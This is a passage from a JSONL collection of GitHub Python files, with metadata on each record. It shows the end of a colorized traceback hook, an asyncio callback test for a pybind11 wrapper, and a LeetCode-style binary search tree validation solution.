line_num, \"red\", own),\n colorize(text, \"yellow\", own)))\n print(\" %s\" % colorize(filename, \"black\", own))\n\n print(colorize(\"%s: %s\" % (type_.__name__, value), \"cyan\"))\n return hook\n","repo_name":"sWizad/diffeqsolver","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74627380200","text":"#!/usr/bin/env python3\n#coding-utf-8\nfrom mylibs.my import Callback\nfrom mylibs.my import emit\nimport asyncio\n\nclass MyCallback( Callback ):\n def __init__(self, value):\n Callback.__init__(self, self, value)\n print(\"init\")\n \n def callback(self, value1 , value2):\n print(\"got it callback:%i %i\"%(value1, value2)) \n\nasync def do_some_work(x):\n callback = MyCallback(3)\n emit(callback, 4)\n\ncoroutine1 = do_some_work(1)\ncoroutine2 = do_some_work(1)\ntasks=[ asyncio.ensure_future( coroutine1) ,\n asyncio.ensure_future( coroutine2) ,\n ]\n\n\nprint(\"end\")\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete( asyncio.wait(tasks) )\n\nloop.run_forever()\n","repo_name":"xhsiung/pybind11_tpl","sub_path":"ex/callback/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35863602303","text":"class Solution:\r\n def __init__(self):\r\n self.arr = []\r\n \r\n def inorder(self, root: TreeNode) -> None:\r\n if not root:\r\n return\r\n if root.left:\r\n self.inorder(root.left)\r\n self.arr.append(root.val)\r\n if root.right:\r\n self.inorder(root.right)\r\n \r\n def isValidBST(self, root: TreeNode) -> bool:\r\n self.inorder(root)\r\n for i in range(len(self.arr)-1):\r\n if self.arr[i] >= self.arr[i+1]:\r\n return False\r\n return True","repo_name":"dilawarm/competitive-programming","sub_path":"leet/validatebst.py","file_name":"validatebst.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}